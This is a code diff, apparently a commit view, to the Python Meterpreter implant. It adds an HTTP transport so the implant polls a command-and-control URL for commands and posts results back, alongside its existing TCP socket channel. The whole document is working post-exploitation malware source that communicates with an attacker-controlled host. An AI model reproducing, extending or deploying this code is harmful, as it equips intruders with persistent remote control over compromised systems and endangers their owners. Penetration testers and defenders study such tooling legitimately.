19
19
has_windll = hasattr (ctypes , 'windll' )
20
20
21
21
try :
22
- import urllib
22
+ if sys .version_info [0 ] < 3 :
23
+ urlopen = __import__ ('urllib' , fromlist = ['urlopen' ]).urlopen
24
+ else :
25
+ urlopen = __import__ ('urllib.request' , fromlist = ['urlopen' ]).urlopen
23
26
except ImportError :
24
27
has_urllib = False
25
28
else :
30
33
bytes = lambda * args : str (* args [:1 ])
31
34
NULL_BYTE = '\x00 '
32
35
else :
36
+ is_str = lambda obj : issubclass (obj .__class__ , __builtins__ .str )
33
37
is_bytes = lambda obj : issubclass (obj .__class__ , bytes )
34
- str = lambda x : __builtins__ [ ' str' ] (x , 'UTF-8' )
38
+ str = lambda x : __builtins__ . str (x , 'UTF-8' )
35
39
NULL_BYTE = bytes ('\x00 ' , 'UTF-8' )
40
+ long = int
36
41
37
42
#
38
43
# Constants
@@ -294,13 +299,22 @@ def write(self, channel_data):
294
299
class PythonMeterpreter (object ):
295
300
def __init__ (self , socket = None ):
296
301
self .socket = socket
302
+ self .driver = None
303
+ self .running = False
304
+ self .communications_active = True
305
+ self .communications_last = 0
306
+ if self .socket :
307
+ self .driver = 'tcp'
308
+ elif CONNECTION_URL :
309
+ self .driver = 'http'
297
310
self .extension_functions = {}
298
311
self .channels = {}
299
312
self .interact_channels = []
300
313
self .processes = {}
301
314
for func in list (filter (lambda x : x .startswith ('_core' ), dir (self ))):
302
315
self .extension_functions [func [1 :]] = getattr (self , func )
303
- self .running = True
316
+ if self .driver :
317
+ self .running = True
304
318
305
319
def register_function (self , func ):
306
320
self .extension_functions [func .__name__ ] = func
@@ -327,25 +341,61 @@ def add_process(self, process):
327
341
return idx
328
342
329
343
def get_packet (self ):
330
- request = None
344
+ packet = getattr (self , 'get_packet_' + self .driver )()
345
+ self .communications_last = time .time ()
346
+ if packet :
347
+ self .communications_active = True
348
+ return packet
349
+
350
+ def send_packet (self , packet ):
351
+ getattr (self , 'send_packet_' + self .driver )(packet )
352
+ self .communications_last = time .time ()
353
+ self .communications_active = True
354
+
355
+ def get_packet_http (self ):
356
+ packet = None
357
+ try :
358
+ url_h = urlopen (CONNECTION_URL , bytes ('RECV' , 'UTF-8' ))
359
+ packet = url_h .read ()
360
+ except :
361
+ pass
362
+ if packet :
363
+ packet = packet [8 :]
364
+ else :
365
+ packet = None
366
+ return packet
367
+
368
+ def send_packet_http (self , packet ):
369
+ try :
370
+ url_h = urlopen (CONNECTION_URL , packet )
371
+ response = url_h .read ()
372
+ except :
373
+ pass
374
+
375
+ def get_packet_tcp (self ):
376
+ packet = None
331
377
if len (select .select ([self .socket ], [], [], 0.5 )[0 ]):
332
- request = self .socket .recv (8 )
333
- if len (request ) != 8 :
378
+ packet = self .socket .recv (8 )
379
+ if len (packet ) != 8 :
334
380
self .running = False
335
381
return None
336
- req_length , req_type = struct .unpack ('>II' , request )
337
- req_length -= 8
338
- request = bytes ()
339
- while len (request ) < req_length :
340
- request += self .socket .recv (4096 )
341
- return request
382
+ pkt_length , pkt_type = struct .unpack ('>II' , packet )
383
+ pkt_length -= 8
384
+ packet = bytes ()
385
+ while len (packet ) < pkt_length :
386
+ packet += self .socket .recv (4096 )
387
+ return packet
342
388
343
- def send_packet (self , response ):
344
- self .socket .send (response )
389
+ def send_packet_tcp (self , packet ):
390
+ self .socket .send (packet )
345
391
346
392
def run (self ):
347
393
while self .running :
348
- request = self .get_packet ()
394
+ request = None
395
+ should_get_packet = self .communications_active or ((time .time () - self .communications_last ) > 0.5 )
396
+ self .communications_active = False
397
+ if should_get_packet :
398
+ request = self .get_packet ()
349
399
if request :
350
400
response = self .create_response (request )
351
401
self .send_packet (response )
@@ -565,7 +615,7 @@ def create_response(self, request):
565
615
except OSError :
566
616
pass
567
617
if CONNECTION_URL and has_urllib :
568
- met = PythonMeterpreter (s )
618
+ met = PythonMeterpreter ()
569
619
else :
570
620
met = PythonMeterpreter (s )
571
621
met .run ()
0 commit comments